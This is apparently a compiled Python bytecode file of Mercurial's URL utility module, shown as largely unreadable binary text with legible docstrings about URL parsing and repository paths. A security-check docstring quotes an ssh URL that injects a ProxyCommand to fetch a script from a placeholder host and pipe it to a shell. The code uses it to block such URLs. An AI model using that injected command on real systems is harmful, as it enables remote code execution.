6h>z8%SSKJr SSKrSSKrSSKrSSKJrJrJ r J r J r SSK J r SSKJrJrJrJr SSKJr SS KJr SS KJr \\\ \ /(de\R4rS:S jr"S S \R85rS;SjrS;SjrSSjr"S>Sjr#S?Sjr$Sr%Sr&Sr'S?Sjr(S?Sjr)S@Sjr*Sr+S?Sjr,S?Sjr-"SS \.5r/0r0S!\1S"'0r2\Rf4SAS#jjr4S$r5\4"S%S&5S'5r6\4"S(S)5S*5r71S+kr8\4"S,S-5S.5r9S\Rt\Rv\RxS/.r=\."S0\=R}555r?\4"S1S2\?RS39S45rA\4"S5S6\5S39S75rBS8rC"S9S\R5rEg)B) annotationsN)CallableDictOptionalTupleUnion)_)encodingerrorpycompat urllibcompat) stringutil)misc) constantsc[U5$![a Of=f[R"[R "U55$![ a# [R"[S5U-5ef=f)zReturn the port for a given network service. If port is an integer, it's returned as is. If it's a string, it's looked up using socket.getservbyname(). If there's no matching service, error.Abort is raised. s+no port number associated with service '%s') int ValueErrorsocket getservbynamer sysstrOSErrorr Abortr )ports 9/usr/lib/python3/dist-packages/mercurial/utils/urlutil.pygetportr0sp 4y     ##HOOD$9::  kk < = D   s )A-A5c\rSrSrSrSrSr\R"S5Rr SSSjjr SSjr \ RS5rS r\ R"\5rSS jrSS jrSS jrSS jrSrg)urlDaReliable URL parser. This parses URLs and provides attributes for the following components: ://:@:/?# Missing components are set to None. The only exception is fragment, which is set to '' if present but empty. If parsefragment is False, fragment is included in query. If parsequery is False, query is included in path. If both are False, both fragment and query are included in path. See http://www.ietf.org/rfc/rfc2396.txt for more information. Note that for backward compatibility reasons, bundle URLs do not take host names. That means 'bundle://../' has a path of '../'. Examples: >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') >>> url(b'ssh://[::1]:2200//home/joe/repo') >>> url(b'file:///home/joe/repo') >>> url(b'file:///c:/temp/foo/') >>> url(b'bundle:foo') >>> url(b'bundle://../foo') >>> url(br'c:\foo\bar') >>> url(br'\\blah\blah\blah') >>> url(br'\\blah\blah\blah#baz') >>> url(br'file:///C:\users\me') Authentication credentials: >>> url(b'ssh://joe:xyz@x/repo') >>> url(b'ssh://joe@x/repo') Query strings and fragments: >>> url(b'http://host/a?b#c') >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) Empty path: >>> url(b'') >>> url(b'#a') >>> url(b'http://host/') >>> url(b'http://host/#a') Only scheme: >>> url(b'http:') s!~*'()+s /!~*'()+:\s^[a-zA-Z0-9+.\-]+:c&S=Ul=Ul=UlUlS=Ul=Ul=UlUlSUlSUl Xl U(aSU;aURSS5uol[U5(dURS5(aXlgURS5(a.SUlUSSnURS 5(aUS SnXlgURU5(a-URS S5nUS (aUuUlnS UlU(dSnUR(aSUlgGOUR(aXlgU(a@SU;a:URSS5uolU(dSnUR (dSUlU(aURS 5(aoUS SRSS5n[U5S:a UuUlnO US UlSnUR(d#SUlU(a[U5(dSU-nUR(aSUR;azURR!SS5uUlUlS UR;a)URRS S5uUlUlUR(dSUlUR(aS UR;aURRS5(a URR#S5(dRURUl URR!S S5uUlUlUR(dSUlUR(a?URS:Xa/URS;a[$R&"[)S55eXlSH2n[+X5nUcM[-X[.R1U55 M4 g)NT#r\\bundle:bundle//r :rF?/@[]file)s localhosts 127.0.0.1s[::1]s(file:// URLs can only refer to localhost)userpasswdhostrpathfragment)schemer0r1r2rr3queryr4 _localpath _hostport _origpathsplithasdriveletter startswith _matchschemelenrsplitendswithr rr getattrsetattrurlrequnquote)selfr3 parsequery parsefragmentpartsavs r__init__ url.__init__s<=A@ @di@$+ =AA ADIA T] TT\"&**T1"5 D- $  4??7#;#;I  ??: & &#DK8Du%%ABxI    T " "JJtQ'EQx$)! T"'D  ddl#'::dA#6 jDzz!%DJ..QRtQ/u:>&+ODIt %aDIDyy $DIN4$8$8#d{yyTTYY.'+yy'7'7a'@$ 49499$-1YY__T1-E*DIt{yy $DI DII%II((..4993E3Ed3K3K"&'+yy'7'7a'@$ 49yy $DI KK7*II%KKkkAB HA A}!23Hr"c[S5nURUlURUlURUlURUlUR UlUR UlURUlURUlURUl URUl URUl U$)Nstemporary useless value) rr3r5r0r1r2rr6r4r7r8r9)rEus rcopyurl.copys * +;;;;**]]  nn nn r"c/nSHUn[X5nUcMSnU[R"U5[R"U54-nURU5 MW SSR U5-$)N)r5r0r1r2rr3r6r4s%s: %rss, )rAr bytestrappendjoin)rEattrsrIrJlines r__repr__ url.__repr__ sp  A A} ))!,h.>.>q.ABB T"  UZZ...r"cXUR(aFURnURS:XaSU-nUR(aUSUR-- nU$URS-nUR(d"UR (dUR (aUS- nOUR(aoUR(a:URRS5(d[UR5(a$US- n[UR5(aUS- nUR(a+U[RURURS9- nUR (a.US[RUR URS9-- nUR(dUR (aUS- nUR (aqUR RS 5(a UR RS 5(d#U[RUR 5- nOXR - nUR(a%US[RUR5-- nUR (aUS- nUR(a+U[RURURS9- nUR(aUS UR-- nURb.US[RURURS9-- nU$) aJoin the URL's components back into a URL string. Examples: >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) 'http://user:pw@host:80/?foo=bar&baz=42' >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) 'http://user:pw@host:80/?foo=bar%3dbaz' >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) 'ssh://user:pw@[::1]:2200//home/joe#' >>> bytes(url(b'http://localhost:80//')) 'http://localhost:80//' >>> bytes(url(b'http://localhost:80/')) 'http://localhost:80/' >>> bytes(url(b'http://localhost:80')) 'http://localhost:80/' >>> bytes(url(b'bundle:foo')) 'bundle:foo' >>> bytes(url(b'bundle://../foo')) 'bundle:../foo' >>> bytes(url(b'path')) 'path' >>> bytes(url(b'file:///tmp/foo/bar')) 'file:///tmp/foo/bar' >>> bytes(url(b'file:///c:/tmp/foo/bar')) 'file:///c:/tmp/foo/bar' >>> print(url(br'bundle:foo\bar')) bundle:foo\bar >>> print(url(br'file:///D:\data\hg')) file:///D:\data\hg r&r%r#r)r(r+)safer,r-r.r*)r7r3r5r4r0r1r2r<r;rCquote _safecharsr@r _safepcharsr6)rEss r __bytes__ url.__bytes__s+D ?? A{{i'N}}TDMM))H KK$  99 tyy JA [[ yy##D))dii(( JAdii((T  99 diidoo> >A ;;  T[[t GG GA 99 IA 99II((..4993E3Ed3K3KV\\$)),,YY 99  TYY// /A 99 IA 99 diid.>.>? ?A ::  " "A == $  T]]9I9I JJ JAr"c2URURp!SuUlUl[U5nXsUlUlUR(dUS4$USX0R4URUR=(d S44$!XsUlUlf=f)N)NNr")r0r1bytesr2)rEr0r1r^s rauthinfo url.authinfoqsyy$++f 2%/ "DIt{d A%) "DIt{yyt9  D1ii.$))T[[5GCHII&* "DIt{s BBcUR(aURS:wag[UR5(agURRS5(agURRS5(agg)Nr/Tr$r+F)r5r;r3r<rEs risabs url.isabss\ ;;4;;'1 $)) $ $ 99   ' ' 99   % %r"c^URS:XdURS:XaUR=(d Sn[UR5(aURS-UR-nU$URb&UR(a[U5(dSU-nU$UR $)Nr/r&r+)r5r3r;r8r2r9rEr3s r localpath url.localpaths ;;' !T[[I%=99$Ddnn--~~,tyy8 K %$))N4>L  " h4h4h4 h4  h4T //&N`  +G J   r"rr3c>[[U5R5$N)rprr5r3s r hasschemers D   !!r"cj[U5=(a" USSS:H=(a USSR5$)Nrr r)r)rpisalphars rr;r;s0 : C$q)t+ CQq 0A0A0CCr"c4[USSS9R5$)NF)rFrG)rrkrs r urllocalpathrs tU ; E E GGr"c[RU5nURS5(dURS5(a7[R"[ S5[ R"U54-5eg)aDcheck if a path / url is a potentially unsafe ssh exploit (SEC) This is a sanity check for ssh urls. ssh will parse the first item as an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. Let's prevent these potentially exploited urls entirely and warn the user. Raises an error.Abort when the url is unsafe. sssh://-s svn+ssh://-spotentially unsafe url: %rN)rCrDr<r rr r rRrs r checksafesshrsb >>$ D z""doon&E&Ekk + ,0@0@0F/H H  'Fr"c^[U5nUR(aSUl[U5$)z$hide user credential in a url strings***)rr1rbrNs r hidepasswordrs" AAxx 8Or"cJ[U5nS=UlUl[U5$)z7remove all authentication information from a url stringN)rr0r1rbrs r removeauthrs" AAAFQX 8Or"c /nUcI[URR55H up4UHnURX545 M M" U$URR U/5HnURX45 M U$)z+list all the (name, paths) in the passed ui)sortedpathsitemsrSget)ui target_pathresultnamerpr3s r list_pathsrsw F!"((.."23KD ti(4 MHHLLb1D MM;- .2 Mr"c:[USUS9$![a gf=f)zDtry to build a path from a url Return None if no Path could built. N)rawloc)r3r)rrs rtry_pathrs( BS)) s c#Z# U(dSUR;a)URSHnUR5v M gSUR;a)URSHnUR5v M g[R"[ S5[ S5S9eUHnXAR;a*URUHnUR5v M M<[ X5nUc%[ S5nXd-n[R "U5eUR5v M g7f)z=yields all the `path` selected as push destination by `dests`s default-pushdefaults"default repository not configured!ssee 'hg help config.paths')hintNsrepository %s does not exist)rget_push_variantr ConfigErrorr r RepoError)repordestsrdestr3msgs rget_push_pathsrs  bhh &XXo.((**/ 288 #XXj)((***##7845  Dxx$A,,..( )<;nX1R;aURUHnUv M M.[USUSS9nUv M@ g7f)zDyields all the `(path, branch)` selected as pull source by `sources`rNF) validate_path)rr3)rrsourcessourcers rget_pull_pathsrsR , XX XXf%&RvU;AG sAAcUc/nOU/n[[XU55n[U5S:waPUc[S5nU[U5U4-nO[S5nU[U5X4-n[R "U5eUS$)zreturn a unique `path` or abort if multiple are found This is useful for command and action that does not support multiple destination (yet). The `action` parameter will be used for the error message. r9default path points to %d urls while %s only supports one5path points to %d urls while %s only supports one: %sr)listrr>r r r)actionrrrrrs rget_unique_push_pathrs | %0 1E 5zQ <LC CJ' 'CLMC CJ- -Ckk# 8Or"c/nUbURU5 [[SXS95n[U5nUS:wa<Uc[ S5nXeU4-nO[ S5nXeX4-n[ R "U5eUS$)a`return a unique `(path, branch)` or abort if multiple are found This is useful for command and action that does not support multiple destination (yet). The `action` parameter will be used for the error message. note: Ideally, this function would be called `get_unique_pull_path` to mirror the `get_unique_push_path`, but the name was already taken. N)rrrrr)rSrrr>r r r)rrrr pull_paths path_countrs rget_unique_pull_path_objr+sG vnT2?@JZJQ >LC ' 'CLMC / /Ckk# a=r"cB[XUS9n[URU5$)zlreturn a unique `(url, branch)` or abort if multiple are found See `get_unique_pull_path_obj` for details. r)rparseurlr)rrrrdefault_branchesr3s rget_unique_pull_pathrIs" $Fv >D DKK!1 22r"c$US:Xag[SXS9$)?return the `(origsource, url, branch)` selected as clone sourcer"Nscloner)r)rrs rget_clone_path_objrRs } #Hb @@r"c[X5nUcSSSU44$Uc/nURU4nURURU4$)rNr")rbranchrloc)rrrr3branchess rget_clone_pathrYsT b )D |S4!1233 -.H ;;( **r"c[U5nSnUR(aURnSUl[U5X1=(d /44$)z5parse url#branch, returning (url, (branch, branches))N)rr4rb)r3rrNrs rrrds= D A Fzz 8fn"- --r"c\rSrSrSrSrSrg)rinzRepresents a collection of paths and their configs. Data is initially derived from ui instances and the config files they have loaded. c [RU5 [RR S5nUR SSS9GHuup4U(dMUR SU5upVURSU5nX4U4nURRX5n URS5n U b2[R"U 5(a[R"U5n OU/n /n U Hn [RRU 5n [RR U 5n [U 5(d`[RRU 5(d<[RR![RR#X55n [XXS9nU R%U5 M XU'GMx ['UR)55H/up?/nUHnUR+[-XU55 M UX'M1 g)N~pathsT) ignoresub multi-urls)r suboptions)dictrKosr3 expanduser configitemsconfigsuboptions configsource _path_to_rootrr parsebool parselist expandvarsrrgnormpathrTrSrrextend _chain_path)rEr home_pathrvalue_valuesub_optsr^root_keyroot multi_url base_locsrrr old_paths new_pathss rrKpaths.__init__us dGG&&t, >>(d>CKD!228TB F$/AQ'H##''TU4[T'T[T'U$r)rpath_suboptions_display)funcattrdisplayoptions rregisterpathsuboption..registers!#',*1' r") isinstancerb TypeError)rrrrrs``` r pathsuboptionrs-"$In Or"cU(aS$S$)z,display a boolean suboption back to the usersyessnor)rs r display_boolrs6%%r"spushurl_pushlocc([U5nUR(d-[S5nXARU4-nUR U5 gUR (a.UR [S5UR-5 SUl[ U5$)Ns-(paths.%s:pushurl not a URL; ignoring: "%s") s:("#fragment" in paths.%s:pushurl not supported; ignoring) )rr5r rwarnr4rb)rr3rrNrs rpushurlpathoptionrs~ E A 88AB 5!!   zz   ii    8Or"spushrevpushrevcU$rr)rr3rs rpushrevpathoptionrs Lr">ignoremirrorrsbookmarks.modebookmarks_modecU[;a3URnUcSn[S5nXCU4-nURU5 US:XaSnU$)N*s2(paths.%s:bookmarks.mode has unknown value: "%s") r)SUPPORTED_BOOKMARKS_MODESrr rrr3r path_namers rbookmarks_mode_optionrsT --II  IFG 5!!    Lr")rstry-basesno-reusesforcedc#0# UH oSSS2v M g7f)Nr).0is r rs O2NQ4R42Nsspulled-delta-reuse-policydelta_reuse_policy)rcU[;a3URnUcSn[S5nXCU4-nURU5 [R U5$)Nrs=(paths.%s:pulled-delta-reuse-policy has unknown value: "%s") )DELTA_REUSE_POLICIESrr rrrs rrrsY  ((II  I M  5!!   # #E **r"r multi_urlsc[R"U5nUc)UR[S5UR-5 SnU$)Ns.(paths.%s:multi-urls not a boolean; ignoring) F)rrrr r)rr3rress rmultiurls_pathoptionrsA   u %C {  @ ADII M  Jr"c/nURRS:waURU5 U$URRbeUR URR 5nUcE[ S5nXPRURR 4-n[R"U5eUGHPnUR5nURRS:XaE[ S5nXWRURR 4-n[R"U5eURUlURUlURUl URcURUl O4URRSS5SnSXR4-UlURR5n U R!UR"5 UR%X5 URU5 GMS U$)z?A ""IMM$6$67 7A++a.  G>>#D%%0MNkk488==11kk!n${{DH!..DK{{DH{{"%nn {{))$215&$ )<<  ..335J   d00 1  " "2 2   T "#!$ r"c\rSrSrSrSSjrSrSSSjjr\SSj5r SSjr S r S r S r \SS j5rS rg)r3i=z4Represents an individual path and its configuration.NcUcUbeUbeUbegU(d [S5eX lSUlURU5 U(aUR 5 UR SS5upg0UlUb&UR5UlURU5 UR5Ul URX5 g)aConstruct a path from its config options. ``ui`` is the ``ui`` instance the path is coming from. ``name`` is the symbolic name of the path. ``rawloc`` is the raw location, as defined in the config. ``_pushloc`` is the raw locations pushes should be made to. (see the `get_push_variant` method) If ``name`` is not defined, we require that the location be a) a local filesystem path with a .hg directory or b) a URL. If not, ``ValueError`` is raised. Nsrawloc must be definedrr) rr main_path _setup_url_validate_pathrrrOrrr)rErrrrr_pathrs rrK path.__init__@s( :< <> !>% %% 67 7       !--h=  !!+!2D  OOJ '%]]_ r,r"c[U5nSnUR(aURnSUlX lUR5UlX0lXlSU-Ulg)Ns%s)rr4rOrrrr)rErrNrs rrpath._setup_urlpsN K ::ZZFAJvvx   19r"cUR5nURR5H*up4[USS5nUbU"5nXBRU'M, UbUR U5 U$)zmake a copy of this path object When `new_raw_location` is set, the new path will point to it. This is used by the scheme extension so expand the scheme. rON) __class____dict__rrAr)rEnew_raw_locationnewkrJnew_copys rrO path.copysi nnMM'')DAq&$/H#JLLO *  ' NN+ , r"cURSL$)z-is this a path variant to be used for pushingN)rrfs ris_push_variantpath.is_push_variants~~T))r"cUR(aU$UR5nXlUR(aURUR5 U$)zget a "copy" of the path, but suitable for pushing This means using the value of the `pushurl` option (if any) as the url. The original path is available in the `main_path` attribute. )rrOrr)rEr's rrpath.get_push_variants< >>Kiik == NN4== ) r"cUR(dUURR(d9URUR5(d[ SUR -5eggg)Ns1location is not a URL or path to a local repo: %s)rrr5_isvalidlocalpathrrrrfs rrpath._validate_pathsX HHOO**48844"kk* 5$r"c[R5H2unupEX2;a[XS5 MU"XX#5n[XU5 M4 gr)rrrB)rEr sub_options suboptionrrrs rrpath._apply_suboptionssJ(7'<'<'> #I|+D);#9:E D & (?r"c[RR[RRUS55$![[ 4a gf=f)zReturns True if the given path is a potentially valid repository. This is its own function so that extensions can change the definition of 'valid' in this case (like when pulling from a git repo into a hg one).s.hgF)rr3isdirrTrrrjs rr1path._isvalidlocalpaths@  77==dF!;< <:&  s   .-`  **   '   r")rzUnion[bytes, int]rqr)r3rbrqrp)r3rbrqrb)r3rbrqrr)rNrbrqrbr)Nr)rrbrstr)F __future__rrreryrtypingrrrrri18nr r r r rr interfacesrint_misc revlogutilsrrevlog_constantsrCrIUrlrrr;rrrrrrrrrrrrrrrrr__annotations__rrRrrrrrrDELTA_BASE_REUSE_TRYDELTA_BASE_REUSE_NODELTA_BASE_REUSE_FORCEr rDELTA_REUSE_POLICIES_NAMErrrrIPathr3rr"rrQs#   $u%%%    ([ (--[ | "DH "  .8 4<3A+.)#D)#X68275=4D4D:& z:&'0z9%& "23 4 !66!5566  ! O2F2L2L2N OO  % ) ) +  +}lLABBV8>>Vr"